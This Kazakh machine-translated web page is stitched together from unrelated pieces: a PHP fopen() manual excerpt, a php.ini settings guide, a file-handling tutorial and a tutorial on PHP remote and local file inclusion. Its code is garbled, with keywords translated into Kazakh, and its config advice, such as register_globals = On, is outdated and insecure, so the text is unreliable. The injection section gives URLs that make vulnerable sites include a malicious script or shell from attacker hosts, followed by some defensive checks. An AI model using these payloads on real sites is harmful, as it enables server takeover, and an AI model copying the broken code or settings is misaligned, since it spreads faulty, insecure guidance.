Үй / Ойын консольдері / php-де файлдармен жұмыс: ашу, жазу, оқу. PHP proc_open веб-сұрауды блоктай ма? Қателерді өңдеу және журналдар

php-де файлдармен жұмыс: ашу, жазу, оқу. PHP proc_open веб-сұрауды блоктай ма? Қателерді өңдеу және журналдар

(PHP 4, PHP 5, PHP 7)

фопен - Файлды немесе URL мекенжайын ашады

Сипаттама

Ресурс фопен ($файл аты , $rejim жолы [, bool $use_include_path = жалған [, ресурсы $контекст ]])

fopen()файл атауы аргументінде көрсетілген аталған ресурсты ағынға тағайындайды.

Параметрлер тізімі

Егер файл атауы "scheme://..." түрінде берілсе, ол URL мекенжайы болып саналады және PHP осы схема үшін протокол өңдегішін (сонымен қатар "орама" ретінде белгілі) іздейді протоколында PHP сценарийіңіздегі ықтимал ақаулықты анықтауға көмектесу үшін ескерту береді, содан кейін файл атауы кәдімгі файлды көрсететіндей орындауды жалғастырады.

Егер PHP файл атауын жергілікті файлды көрсететін етіп орнатса, ол сол файлға ағынды ашуға әрекет жасайды. Файл PHP арқылы қол жетімді болуы керек, сондықтан файл рұқсаттары бұған мүмкіндік беретініне көз жеткізіңіз. Қауіпсіз режим немесе open_basedir қосылған болса, қосымша шектеулер қолданылады.

Егер PHP файл атауы тіркелген протоколға нұсқайтынын анықтаса және бұл протокол желі URL мекенжайы ретінде тіркелген болса, PHP allow_url_fopen директиваның күйін тексереді. Егер ол өшірілсе, PHP ескерту береді және fopen қоңырауы сәтсіз болады.

Түсініктеме:

Қолдау көрсетілетін протоколдар тізімі Қолдау көрсетілетін протоколдар мен қаптамалар бөлімінде қолжетімді. Кейбір протоколдар ( қаптамалар) қолдау контекстжәне/немесе php.ini опциялары. Орнатуға болатын опциялар тізімін алу үшін тиісті протокол бетін қараңыз. (мысалы, php.ini мәні пайдаланушы_агенторауышпен қолданылады http).

Windows платформасында файл жолындағы барлық кері қиғаш сызықтарды болдырмау керек немесе алға қиғаш сызықтарды пайдалану керек.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

Режим параметрі ағыннан сұралатын қатынас түрін көрсетеді. Бұл келесі опциялардың бірі болуы мүмкін:

Ықтимал режимдер тізімі fopen()режимін пайдалану
режимі Сипаттама
«р» Файлды тек оқу үшін ашады; меңзерді файлдың басына орналастырады.
"r+" Оқу және жазу үшін файлды ашады; меңзерді файлдың басына орналастырады.
"w" Файлды тек жазу үшін ашады; көрсеткішті файлдың басына орналастырады және файлды нөлдік ұзындыққа қысқартады. Егер файл жоқ болса, ол оны жасауға тырысады.
"w+" Оқу және жазу үшін файлды ашады; көрсеткішті файлдың басына орналастырады және файлды нөлдік ұзындыққа қысқартады. Егер файл жоқ болса, ол оны жасауға тырысады.
«а» Файлды тек жазу үшін ашады; меңзерді файлдың соңына орналастырады. Егер файл жоқ болса, ол оны жасауға тырысады.
"a+" Оқу және жазу үшін файлды ашады; меңзерді файлдың соңына орналастырады. Егер файл жоқ болса, ол оны жасауға тырысады.
"x" Тек жазу үшін жасайды және ашады; меңзерді файлдың басына орналастырады. Егер файл бұрыннан бар болса, қоңырау шалыңыз fopen()сәтсіз аяқталады, қайтады ЖАЛҒАНжәне деңгей қатесін береді E_ЕСКЕРТУ. Егер файл жоқ болса, ол оны жасауға тырысады. Бұл жалаушаларды көрсетуге тең O_EXCL|O_CREATішкі жүйе қоңырауы үшін ашық(2).
"x+" Оқу мен жазу үшін жасайды және ашады; әйтпесе сияқты мінез-құлыққа ие "x".
"c" Файлды тек жазу үшін ашады. Егер файл жоқ болса, ол жасалады. Егер файл бар болса, ол қысқартылмайды (мысалы "w") және бұл функцияны шақыру қатені тудырмайды (жағдайдағыдай "x"). Файл көрсеткіші файлдың басына орнатылады. Бұл файлды құлыптағыңыз келсе пайдалы болуы мүмкін (қараңыз табын()) өзгертпес бұрын, пайдаланғаннан бері "w"құлып алынбай тұрып файлды қысқарта алады (егер файлды қысқартқыңыз келсе, функцияны пайдалана аласыз ftruncate()блоктау сұрауынан кейін).
"c+" Оқу және жазу үшін файлды ашады; әйтпесе сияқты мінез-құлыққа ие "c".

Түсініктеме:

Операциялық жүйелердің әртүрлі отбасыларында жолдың аяқталуына қатысты әртүрлі конвенциялар бар. Мәтін жазып жатқанда және жол үзілімін енгізгіңіз келсе, өзіңіздің таңбаларыңыз үшін дұрыс таңбаларды (немесе таңбаны) пайдалануыңыз керек операциялық жүйе. Unix отбасылық жүйелерін пайдалану \nжолдың соңындағы таңба, жүйе ретінде Windows отбасыпайдалану \r\nжол соңындағы таңбалар және Macintosh жүйелері пайдаланады \rжолдың соңындағы таңба ретінде.

Файлдарды өңдеу кезінде дұрыс емес жолдың соңындағы таңбаны пайдалансаңыз, оларды ашқан кезде бұл файлдар «біртүрлі» болып көрінуі мүмкін.

Windows мәтіндік хабар тарату режимінің жалауын ұсынады ( "t"), ол автоматты түрде аударылады \nВ \r\nфайлмен жұмыс істеу кезінде. Және керісінше - сіз де пайдалана аласыз «б»деректеріңізді түрлендірмейтін екілік режимді мәжбүрлеу үшін. Бұл режимдерді пайдалану үшін көрсетіңіз «б»немесе "t"режим параметрінің соңғы әрпі.

Әдепкі аударма жалаушасының параметрі SAPI және сіз пайдаланып жатқан PHP нұсқасына байланысты болғандықтан, тасымалдану себептері үшін көрсетілген жалаушаны нақты орнатуды ұсынамыз. Сіз режимді пайдалануыңыз керек "t"егер сіз жұмыс істеп жатсаңыз мәтіндік файлжәне пайдалану \nБлокнот сияқты басқа қолданбалардағы файлдардың оқылу мүмкіндігі туралы алаңдамай сценарийдегі жолдың соңын белгілеу. Барлық басқа жағдайларда жалаушаны пайдаланыңыз «б».

Екілік файлдармен жұмыс істегенде «b» жалаушасын нақты көрсетпесеңіз, деректеріңіздің оғаш бүлінуі, соның ішінде бүлінген кескін файлдары және таңқаларлық таңба ақаулары болуы мүмкін. \r\n.

Түсініктеме:

Тасымалдау себептеріне байланысты файлдарды ашқанда әрқашан «b» жалауын пайдалану ұсынылады fopen() .

Түсініктеме:

Сонымен қатар, тасымалдану себептеріне байланысты ескі кодты қайта жазу ұсынылады. "t"оның орнына дұрыс жолдың соңы мен режимін пайдалану үшін «б».

жолды_қосу

Use_include_path қосымша үшінші параметрін "1" немесе орнатуға болады ШЫНфайлды include_path ішінде іздегіңіз келсе.

Контекст

Түсініктеме: PHP 5.0.0-де мәтінмәндік қолдау қосылды. Сипаттама үшін контекстерАғындар бөлімін қараңыз.

Мәндерді қайтару

Сәтті болса, файлға көрсеткішті қайтарады немесе ЖАЛҒАНқате болған жағдайда.

Қателер

Егер файлды ашу мүмкін болмаса, деңгей қатесі жасалады E_ЕСКЕРТУ. Бұл қатені жою үшін операторды пайдалануға болады.

Өзгерістер тізімі

Мысалдар

№1 мысал Қолдану мысалдары fopen()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen ( "ftp: // пайдаланушы: [электрондық пошта қорғалған]/somefile.txt", "w" );
?>

Ескертпелер

Назар аударыңыз

SSL пайдалану кезінде Microsoft IIS индикаторды жібермей қосылымды жабу арқылы протоколды бұзады close_notify. Деректердің соңына жеткен кезде PHP бұл туралы «SSL: Fatal Protocol Error» деп хабарлайды. Бұны айналып өту үшін error_reporting параметрін E_WARNING жоққа шығаратын деңгейге орнату керек. PHP 4.3.7 және одан жоғары нұсқалары қаптаманы пайдаланып ағынды ашу кезінде сервер жағында проблемалы IIS бар екенін анықтай алады. https://және ескерту көрсетпейді. Егер сіз пайдаланып жатсаңыз fsockopen()құру үшін ssl://розетка, бұл ескертуді анықтау және жою сіздің жауапкершілігіңіз.

Түсініктеме: Қауіпсіз режим опциясы қосылғанда, PHP сіз жұмыс істейтін каталогта орындалатын сценарий сияқты UID (иесі) бар-жоғын тексереді.

Түсініктеме:

Файлдарды оқу немесе жазу кезінде қиындықтар туындаса және сіз PHP серверін сервер модулі ретінде пайдалансаңыз, сервер процесінің сіз пайдаланып жатқан файлдар мен каталогтарға қатынасы бар екеніне көз жеткізіңіз.

Түсініктеме:

Файл атауы каталог болса, бұл функция да сәтті болуы мүмкін. Егер файл атауы файл немесе каталог екеніне сенімді болмасаңыз, функцияны пайдалануыңыз керек is_dir(), қоңырау алдында fopen() .

php.ini файлының орны хостинг провайдерінің сервері жұмыс істейтін операциялық жүйеге байланысты. Оның қайда екенін білу үшін 4 қарапайым қадамды орындаңыз:

  1. php файлын жасаңыз (атауы кез келген болуы мүмкін, бірақ біз мысал ретінде myphpinfo.php аламыз) және оған келесі жолдарды қосыңыз:
  2. Бұл файлды сайтыңыз орналасқан серверге жүктеңіз (түбірлік қалтада).
  3. Біз браузер арқылы іске қосамыз (https://yoursitename.com/myphpinfo.php URL мекенжайын енгізіңіз).
  4. Пайда болған терезеде php.ini жолын іздеңіз (алдымен «Жүктелген конфигурация файлын» қараңыз, егер ол «Жоқ» десе, «Конфигурация файлы (php.ini) жолын» қараңыз).

php.ini қалай конфигурациялауға болады?

php.ini файлында келесі синтаксистік ережелер бар "директива = мән". Түсініктеме қосқыңыз келсе (мысалы, сіз не әсер ететінін көрсетесіз бұл параметр), содан кейін нүктелі үтірден кейін орындаңыз (осы белгіден кейін келетін барлық нәрсе пәрмен ретінде есептелмейді). Міне, мысал:

максималды_орындау_уақыты = 40 ; Сценарийді орындау үшін ең көп секунд саны

Жалпы параметрлер

PHPengine = Қосулы ; PHP сценарийлері қосылды.

Short_open_tag = Қосулы ; Тегтермен PHP кодын жеңілдетілген жақтауға мүмкіндік береді

Asp_tags = Қосулы ; ASP-де орындалғандай PHP кодын бөлектеу мүмкіндігін қосады -<% %>

Дәлдік = 12 ; Жылжымалы нүкте сандары үшін ондық үтірден кейін қанша цифр болатынын көрсетеді.

Output_buffering = 4096 ; Шығу буферлеуі автоматты түрде қосылады, буфер өлшемі «тең» дегеннен кейін көрсетіледі.

Safe_mode = Қосулы ; Қауіпсіз режим.

Safe_mode_allowed_env_vars = PHP_ ; Пайдаланушыға тек PHP_ арқылы басталатын орта айнымалыларымен жұмыс істеуге мүмкіндік береді. Егер бұл директива бос болса (мәні болмайды), онда пайдаланушылар кез келген орта айнымалы мәндерін өзгерте алады. Бұл сценарий қауіпсіздігіне өте зиян келтіруі мүмкін.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Үтірмен бөлінген айнымалы мәндерді өзгертуге тыйым салады.

Disable_functions = ; Теңдік белгісінен кейін сіз өшіргіңіз келетін функцияларды үтірмен бөліп жазуыңыз керек (әдетте бұл қауіпсіздік үшін жасалады)

Disable_classes = ; «Тең» белгісінен кейін сіз шақыруға тыйым салғыңыз келетін сыныптарды үтірмен бөліп жазуыңыз керек (әдетте бұл қауіпсіздік үшін жасалады)

Ресурсты шектеу

максималды_орындау_уақыты = 40 ; Сценарийді орындаудың максималды уақыты (секундпен)

Максималды_енгізу_уақыты = 40 ; Жүктеліп жатқан деректерді өңдеу үшін сценарий берілген секундтармен берілген максималды уақыт.

Жад шегі = 16М ; Бір сценарий үшін бөлінген ең көп жад

Қателерді өңдеу және журналдар

error_reporting = E_ALL | E_ERROR | E_ЕСКЕРТУ | E_PARSE | E_CORE_ERROR | E_CORE_ЕСКЕРТУ | E_COMPILE_ERROR | E_COMPILE_ЕСКЕРТУ | E_USER_ERROR | E_USER_ЕСКЕРТУ | E_USER_NOTICE; Көрсетілуі мүмкін қателер тізімін көрсетеді.

Display_errors = Қосулы; Қателерді тікелей шолғышта көрсетуге мүмкіндік береді (көбінесе жөндеуді жеңілдету үшін пайдаланылады).

Display_startup_errors = Қосулы ; PHP іске қосу кезінде пайда болатын қателерді көрсетуге рұқсат етіледі.

Log_errors = Қосулы ; Қателерді журнал файлына жазуға рұқсат етіледі.

Log_errors_max_len = 1024 ; Журнал ұзындығы болуы мүмкін таңбалардың ең көп саны.

Track_errors = Қосулы ; Соңғы қате туралы хабарлар $php_errormsg айнымалысында сақталады

Html_errors = Қосулы ; Қате туралы хабарларды HTML тілінде көрсетуге рұқсат беріңіз.

Error_log = файл аты; Қате журналының атын көрсетеді.

Мәліметтерді өңдеу

variables_order = "EGPCS" ; PHP айнымалыларды тіркеу ретін орнатады (E - кірістірілген айнымалылар, G - GET айнымалылары, P - POST айнымалылары, C - Cookie файлдары, S - сеанстар). Әріптердің кез келгенін алып тастасаңыз, сәйкес айнымалылардың жұмысы блокталады.

Register_globals = Қосулы ; GET/POST/Cookie/сеанс арқылы келетін айнымалы мәндерді қалыпты айнымалылар ретінде қарастыру мүмкіндігін қосады (мысалы, «$variablename»).

Register_argc_argv = Қосулы ; GET әдісінен алынған ақпарат негізінде $argv және $argc айнымалы мәндерін жасауға рұқсат етіледі.

Post_max_size = 8M ; Қабылдауға болатын деректердің ең үлкен көлемін орнатады.

Magic_quotes_gpc = Қосулы ; POST/GET/Cookie арқылы алынған баға ұсыныстарын автоматты өңдеуді қосады.

Auto_prepend_file = ; Осы директиваларда көрсетілген файлдардың мазмұны сценарийді орындамас бұрын PHP арқылы сәйкесінше өңделуі керек
auto_apppend_file = ; Осы директиваларда көрсетілген файлдардың мазмұны сценарий орындалғаннан кейін PHP арқылы тиісінше өңделуі керек.

Default_mimetype = "мәтін/html" ; Мазмұн түрі үшін кодтауды орнатады. Әдепкі бойынша мәтін/html кодтауды көрсетпей пайдаланылады

Doc_root = ; PHP сценарийлері үшін түбірлік қалтаны орнатады.

Extension_dir = "./" ; Динамикалық жүктелген кеңейтімдер сақталатын қалтаны көрсетеді.

Файлдарды жүктеп салу

file_uploads = Қосулы ; Файлдарды серверге жүктеп салуға рұқсат етіледі.

Upload_tmp_dir = ; Жүктеп алынатын файлдарға арналған уақытша каталог.

Upload_max_filesize = 2M ; Жүктеп салуға болатын ең үлкен файл өлшемін орнатады.

Розеткалармен жұмыс

user_agent="PHP" ; USER_AGENT айнымалы мәні розетка қосылымы орын алған кезде орнатылады.

Әдепкі_розетканың_уақыты = 30 ; Розеткада тыңдаудың максималды уақыты (секунд).

Сеанстар

session.save_handler = файлдар; Сеанс ақпаратының файлдарда сақталуы керектігін көрсетеді

session.save_path = /tmp ; Теңдік белгісінен кейін сеанстар туралы ақпарат сақталатын қалтаға жолды көрсету керек (қалтаның бұрыннан бар болуы маңызды)

session.use_cookies = 1 ; Сеанстарда cookie файлдарын пайдалануға мүмкіндік береді

session.name = PHPSESSID ; Сеанс идентификаторын сеанс аты және сеанс cookie файлы ретінде пайдалануды көрсетеді

session.cookie_lifetime = 0 ; Сеанстың қызмет ету мерзімі («0» сеанс браузер терезесі жабылғанға дейін өмір сүретінін білдіреді)

session.use_trans_sid = 1 ; Пайдаланушы cookie файлдарын өшірген болса, сеанс идентификаторы барлық сілтемелерге қосылады

Динамикалық кеңейтімдер

extension=modulename.extension ; Сыртқы модульдерді жүктеу үшін пайдалануға болады. Windows жүйелері үшін олар әдетте extension=msql.dll және үшін деп жазады
UNIX - кеңейтім=msql.so

MySQL модульдерімен жұмыс істеу

mysql.allow_persistent = Қосулы ; Тұрақты MySQL қосылымдарына мүмкіндік береді.

Mysql.max_persistent = -1; Тұрақты MySQL қосылымдарының максималды санын орнатады. Егер сіз -1 мәнін көрсетсеңіз, бұл шектеулер жоқ дегенді білдіреді.

Mysql.max_links = -1 ; Тұрақты MySQL қосылымдарының және тұрақсыз ODBC қосылымдарының ең көп санын орнатады. Егер сіз -1 мәнін көрсетсеңіз, бұл шектеулер жоқ дегенді білдіреді.

Mysql.default_port = ; mysql_connect функциясына арналған порт.

Mysql.default_socket = ; Жергілікті MySQL қосылымдарына арналған ұяшық атауы.

Mysql.default_host = ; mysql_connect функциясына арналған хост атауы.

Mysql.default_user = ; Қолданушының аты.

Mysql.default_password = ; Құпия сөз.

Егер сіз өзіңіздің php.ini файлыңызды жасап, оны сайт қалтасына орналастырсаңыз

Бұл жағдайда қауіпсіздік мақсатында сізден басқалардың барлығына кіруге тыйым салу керек. Ол үшін .htaccess файлына келесі кодты жазу керек:


рұқсат беру, қабылдамау
барлығынан бас тарту

Бірақ сақ болыңыз, өйткені... Осы параметрлермен .htaccess файлы арқылы php параметрлеріне қатысты барлық директивалар (php_value, php_flag, т.б.) жұмысын тоқтатады (500 ішкі сервер қатесі көрсетіледі).

Маңызды! Егер сіз өзіңіздің php.ini файлыңызды жасасаңыз, ол тек ол орналасқан каталогқа әсер етеді.

ресурс фопен(жол файл атауы, жол режимі [, bool use_include_path [, ресурс zконтекст]])

fopen()файл атауы аргументінде көрсетілген аталған ресурсты ағынға тағайындайды. Егер файл атауы "scheme://..." түрінде берілсе, ол URL мекенжайы болып саналады және PHP осы схема үшін протокол өңдегішін (сонымен қатар "орама" ретінде белгілі) іздейді протоколында PHP сценарийіңіздегі ықтимал ақаулықты анықтауға көмектесу үшін ескертпе шығарады және файл аты кәдімгі файлды көрсететіндей орындауды жалғастырады.

Егер PHP файл атауы жергілікті файлды көрсетеді деп шешсе, ол сол файлға ағынды ашуға тырысады. Файл PHP арқылы қолжетімді болуы керек, сондықтан файл рұқсаттарының бұған рұқсат беретініне көз жеткізіңіз. Қауіпсіз режим немесе open_basedir қосылған болса, қосымша шектеулер қолданылады.

Егер PHP файл атауы тіркелген хаттаманы көрсетеді деп шешсе және бұл протокол желі URL мекенжайы ретінде тіркелген болса, PHP allow_url_fopen директиваның күйін тексереді. Егер ол өшірілсе, PHP ескерту береді және fopen қоңырауы сәтсіз болады.

Пікір:Кейбір протоколдар контекст және/немесе php.ini опцияларын қолдайды. Орнатуға болатын опциялар тізімін алу үшін тиісті протокол бетін қараңыз. (мысалы, php.ini user_agent мәні http орауышында пайдаланылады). Мәтінмәндер мен z мәтінмән параметрлерінің сипаттамасы үшін Ағын функциялары бөлімін қараңыз.

Пікір: PHP 5.0.0-де мәтінмәндік қолдау қосылды.

Пікір: PHP 4.3.2 нұсқасы бойынша екілік режим екілік және мәтіндік режимдерді ажырататын барлық платформалар үшін әдепкі режим болып табылады. Жаңартқаннан кейін қиындықтар туындаса, жоғарыда атап өтілгендей, үлкен тасымалдауға қол жеткізу үшін сценарийлерді өзгерткенше, «t» жалауын уақытша шешім ретінде пайдаланып көріңіз.

Режим параметрі ағыннан сұралатын қатынас түрін көрсетеді. Бұл келесілердің бірі болуы мүмкін:

Егер файлды ашу мүмкін болмаса, функция қайтарылады ЖАЛҒАНжәне деңгей қатесін тудырады E_ЕСКЕРТУ. Мұны осы ескертуді болдырмау үшін пайдалануға болады.


Мысал 1. Функцияны пайдалану мысалдары fopen()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen ( "ftp: // пайдаланушы: [электрондық пошта қорғалған]/somefile.txt", "w" );
?>

Файлдарды оқу немесе жазу кезінде қиындықтар туындаса және сіз PHP серверін сервер модулі ретінде пайдалансаңыз, сервер процесінің сіз пайдаланып жатқан файлдар мен каталогтарға қатынасы бар екеніне көз жеткізіңіз.

16,5 мың

Шындығында, php файлын ашу үлкен мәселе емес. Орманның ортасында жүргенде сыра бөтелкесін ашу қиынырақ болуы мүмкін. Бірақ бұлай ойлайтын бағдарламашылар ғана. Жаңадан бастағандар үшін біз сізге PHP-нің файлдармен жұмыс істеуге арналған барлық мүмкіндіктері туралы айтып береміз:

php файлдары

php кеңейтімі бар файлдар аттас бағдарламалау тілінде жазылған кодты қамтиды. Басқа тілдерден айырмашылығы, php серверлік бағдарламалау тілі болып табылады. Яғни, ол сервер жағында жұмыс істейді. Сондықтан оның кодын жөндеу үшін клиенттік құрылғыда жергілікті сервер орнатылуы керек.

php файлдарымен жұмыс істеу үшін арнайы қосымшалар – бағдарламалық редакторлар қолданылады. Ең көп таралғандары:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP әзірлеу.
PHP негізінде веб-сайттарды жасау кезінде сізге бағдарлама кодын қайта пайдалану қажет болуы мүмкін. Мұндай жағдайларда басқа файлда орналасқан дайын шешімдерді қосу ыңғайлы. Бұл үшін қосу құрылымы пайдаланылады. Оның синтаксисі:

файл атауын қосыңыз

Қосылу мысалы:

Қосылған файл:


Файлды қосу талап құрылымын пайдалану арқылы да мүмкін болады. Қосылудан айырмашылығы, ол бағдарлама коды орындалмай тұрып файлды қамтиды. Кодта талапты пайдалану арқылы бұл файлға бір ғана қоңырау шалуға болады. Қайта кіру кезінде жүйе жаһандық қате туралы хабарды көрсетеді және бағдарламаның орындалуын тоқтатады.

Қосу құрылымы тек бағдарламаны орындау кезінде көзді қамтиды. Ол php файлын бірнеше рет оқуды қолдайды. Қате орын алса, тек ескерту хабары көрсетіледі және кодты орындау келесі жолдан жалғасады.

Файлдарды ашу және жабу

php-де файлдармен барлық операциялар бірнеше кезеңде жүзеге асырылады:

  • Файлды ашу;
  • Мазмұнды өңдеу;
  • Файлды жабу.

fopen() функциясы файлды ашу үшін пайдаланылады. Оның синтаксисі:

int fopen(жол файл аты, жол режимі [, int use_include_path])

Қабылданған дәлелдер:

  • жол файл атауы – файл атауы немесе оған абсолютті жол. Егер файлдың жолы көрсетілмесе, ол ағымдағы каталогта ізделеді. Егер сіз іздеген файл жоқ болса, жүйе қате туралы хабарды көрсетеді. Мысалы:

  • жол режимі – файлды ашу режимін көрсетеді. Аргументпен қабылданған мәндер:
  • r – файл тек оқу үшін ашылады, файл көрсеткіші басында орнатылады;
  • r+ – файл оқу және жазу үшін ашық;
  • w – тек жазу үшін жаңа файл жасайды. Егер аттас файл бұрыннан бар болса, ондағы барлық деректер автоматты түрде жойылады;
  • w+ - жазу және оқу үшін жаңа файл жасайды. Мұндай файл болған кезде оның деректері жаңаларымен толығымен қайта жазылады;
  • a – файл жазу үшін ашық. Көрсеткіш соңында орнатылады. Яғни, php файлына жазу басынан емес, соңынан басталады;
  • a+ – файлды оқу-жазу режимінде ашу. Жазу соңынан басталады;
  • b – екілік мәліметтері бар файлмен жұмыс істеу режимі (екілік санау жүйесінде). Бұл режим тек Windows амалдық жүйесінде қол жетімді.

Файлға кіруді жабу үшін fclose() функциясын пайдаланыңыз. Синтаксис:

int fclose (int файлы), мұндағы int файлы жабылатын сайттың дескрипті болып табылады.

Әрбір оқу немесе жазудан кейін файл осы функциямен жабылуы керек. Әйтпесе, файл үшін жасалған ағын ашық қалады. Және бұл сервер сыйымдылығын қажетсіз тұтынуға әкеледі.

Мысалы:

Файлдарды оқу және жазу

Файлдың барлық мазмұнын жай ғана көрсету үшін readfile() функциясы өте қолайлы. Оның синтаксисі:

readfile (жолдың файл атауы), мұндағы жол файлының аты жол файлының атауы (дескриптор емес).


Дәл сол файлды fpassthru() функциясы арқылы оқуға болады. Ол соңғы көрсеткіш орнынан файлдың соңына дейін деректерді оқиды. Оның синтаксисі:

int fpassthru (int файлы)

Функция файлды ашуды және жабуды қажет етеді. Мысалы:

Нәтиже алдыңғыға ұқсас.

php-де файлдармен жұмыс істеу функциялары мазмұнды жол бойынша және таңба бойынша оқуға мүмкіндік береді:

  • fget жолы (int файлы, int ұзындығы)– функция ұзындықтағы жолды оқиды. Мысалы:

  • string fread (int файлы, int ұзындығы)– әрекет алдыңғымен бірдей.

Файлға мәтіндік деректерді жазу үшін екі бірдей функция бар:

  • int fputs (int файлы, жол жолы [, int ұзындығы ])
  • int fwrite(int файлы, жол жолы [, int ұзындығы ])

Функциялар int файлына көрсетілген ұзындықтың int ұзындығының жолын жазады ( қосымша аргумент). Мысалы:

Файлдарды құру және жою

Php файлын жасау үшін «w» немесе «w+» қатынас режимінде fopen() функциясын пайдалануға болады. Немесе touch() функциясы. Ол файлды өзгерту уақытын белгілейді. Егер ізделетін аты бар элемент болмаса, ол жасалады. Оның синтаксисі.

Жаңадан бастаушыларға арналған PHP инъекция негіздері.​


PHP инъекциясы(ағыл. PHP injection) - шамамен PHP-де жұмыс істейтін веб-сайттарды бұзу тәсілдерінің бірі сервер жағында шетелдік кодты орындау болып табылады.Ықтимал қауіпті функциялар:
бағалау(),
preg_replace() («e» модификаторымен),
талап_бір рет(),
қосу_бір рет(),
қамтиды(),
талап ету(),
құру_функциясы().

РНР инъекциясы енгізу параметрлері валидациясыз қабылданса және пайдаланылса мүмкін болады.

Кеңейту үшін басыңыз...

(c) Wiki


Негіздер.​

Php инъекциясы- бұл шабуылдаушы өзінің PHP кодын шабуыл жасалған PHP қолданбасына енгізген кезде веб-сайтқа жасалған шабуыл түрі.
Егер инъекция сәтті болса, шабуылдаушы мақсатты серверде еркін (әлеуетті қауіпті) PHP кодын орындай алады. Мысалы, қабықты толтырыңыз. Бірақ алдымен бұл қалай болатынын егжей-тегжейлі талқылайық.

Мысалы:
Бізде PHP тілінде жазылған веб-сайт бар деп елестетейік.
Сондай-ақ сайт пәрменін пайдаланады деп елестетейік page=page.htmlсұралған бетті көрсету үшін.
Код келесідей болады:

$файл = $_GET ["бет" ]; //Көрсетілген бет
қосу($файл);
?>

Бұл бетте көрсетілген барлық нәрсе сол беттің PHP кодына ендірілгенін білдіреді. Сондықтан, шабуылдаушы келесідей нәрсені жасай алады:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Қосу орындалғаннан кейін не болатынын қарасақ, мақсатты серверде орындалған келесі кодты көреміз:

$файл = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["бет"];
қосу($файл); //$файл – шабуылдаушы енгізген сценарий
?>

Біз шабуылдаушы мақсатты серверге сәтті шабуыл жасағанын көреміз.

Қосымша мәліметтер:
Сонымен, шабуылдаушы неліктен PHP инъекциясын орындай алды?
Барлығы функция болғандықтан қосу() қашықтағы файлдарды іске қосуға мүмкіндік береді.

Неліктен мысалда кеңейтімі бар сценарий көрсетілген *.жазу , бірақ жоқ *.php ?
Жауап қарапайым, егер сценарийде формат болса *.php , ол мақсатты жүйеде емес, шабуылдаушы серверінде жұмыс істейді.

«таңбасы да қосылды ? " функцияның ішіндегі кез келген нәрсені жою үшін енгізілген сценарий жолында қосу() мақсатты серверде.
Мысалы:

$файл = $_GET ["бет" ];
қосу($файл. ".php" );
?>

Бұл сценарий кеңейтімді қосады *.php пәрмен арқылы шақырылған кез келген нәрсеге қосу() .
Анау.

http: //www.attack_server.com/malicious_script.txt

Айналады

http: //www.attack_server.com/malicious_script.txt.php

Сценарий бұл атаумен жұмыс істемейді (файл шабуылдаушының серверінде жоқ /malicious_script.txt.php)
Сондықтан біз «?» деп қосамыз. зиянды сценарийге апаратын жолдың соңына дейін:

http: //www.attack_server.com/malicious_script.txt?.php

Бірақ ол орындалатын болып қалады.

PHP инъекцияларын include() функциясының осалдығы арқылы жүзеге асыру.​

RFI - PHP енгізу кезінде қашықтан қосу.​


RFI жүргізу мүмкіндігі қозғалтқыштарда жиі кездесетін қате болып табылады.
Сіз оны келесідей таба аласыз:
Браузердің мекенжай жолағында біз кездейсоқ осылай аяқталатын бетті кездестірдік делік:

/индекс. php? бет = негізгі

Оның орнына ауыстырамыз негізгікез келген алдамшы мағына, мысалы упячка

/индекс. php? бет = upyachka

Жауап ретінде біз қатені аламыз:

Ескерту: негізгі (upyachka. php): ағынды ашу мүмкін болмады: / home / user / www //page.php 3-жолда мұндай файл немесе каталог жоқ.

Ескерту: негізгі (upyachka. php): ағынды ашу мүмкін болмады: / үй / пайдаланушы / www / бетінде мұндай файл немесе каталог жоқ. php 3-жолда

Ескерту: негізгі (): қосу үшін "upyachka.php" ашылмады (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") /home/user/www/page ішінде. php 3-жолда

Бұл бізге қосудың мүмкін екенін көрсетеді.
ауыстыруға тырысайық упячкақабықтың жолы бар сайт (қабық файлының кеңейтімі көрсетілмеуі керек немесе оны жоғарыда сипатталғандай көрсету керек)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Қабық осылай алынады. Енді сіз сайт әкімшісіне осалдық туралы хабарлауыңыз керек, сонда ол зұлым адамдар қатені пайдаланбауы үшін оны түзете алады.

LFI - PHP инъекциясына арналған жергілікті қамту.​


Біз бірдей осал сайтқа тап болдық деп елестетейік

/индекс. php? файл = негізгі

Кодпен

..
Қосу («қалта/ $бет .htm» );

?>

Бұл қазірдің өзінде жергілікті қосу. Бұл жағдайда тек файлдар тізімі мүмкін:

/индекс. php? бет =../ индекс . php

Келесі жағдайда код келесідей көрінеді:

..
Include("$dir1/folder/page.php");

?>

Бұл жағдайда қабықшаға жолды келесідей жазуға болады:
Қалта жасаңыз қалтақабық сақталған веб-сайтта қабықты осы қалтаға тастаңыз:

http: //www.attack_site.com/folder/shell.php

Бұл жағдайда инъекция келесідей болады:

индекс. php? dir1 = http: //www.site_attacker.com/

Қорғау әдістері


Сценарийді қарастырайық:

...

$модульді қамтиды. ".php" ;
...
?>

Бұл сценарий осал, себебі айнымалының мазмұны $модуль жаңа ғана қосылды *.php және файл алынған жол арқылы іске қосылады.

Мұндай шабуылдан қорғаудың бірнеше жолы бар:​


-$module айнымалысында бөгде таңбалар бар-жоғын тексеріңіз:

...
$модуль = $_GET ["модуль" ];
if (strpbrk ($module , ".?/:" )) die("Блокталған" );
$модульді қамтиды. ".php" ;
...
?>

-$модульге жарамды мәндердің біріне тағайындалғанын тексеріңіз:
"/" , "" , $page ); // Басқа каталогтарға өту мүмкіндігі бұғатталған.
егер (файл_бар («файлдар/ $бет .htm " ))
{
Include("files/$page.htm" );
}
Басқа
{
Эхо
«қате»;
}

?>

PHP қашықтағы файлдарды пайдалануды өшіру мүмкіндігін де қамтамасыз етеді, бұл php.ini конфигурация файлында allow_url_fopen опциясының мәнін Өшірулі күйге өзгерту арқылы орындалады.

Сипатталған осалдық сайтқа үлкен қауіп төндіреді және PHP сценарийлерінің авторлары бұл туралы ұмытпауы керек.

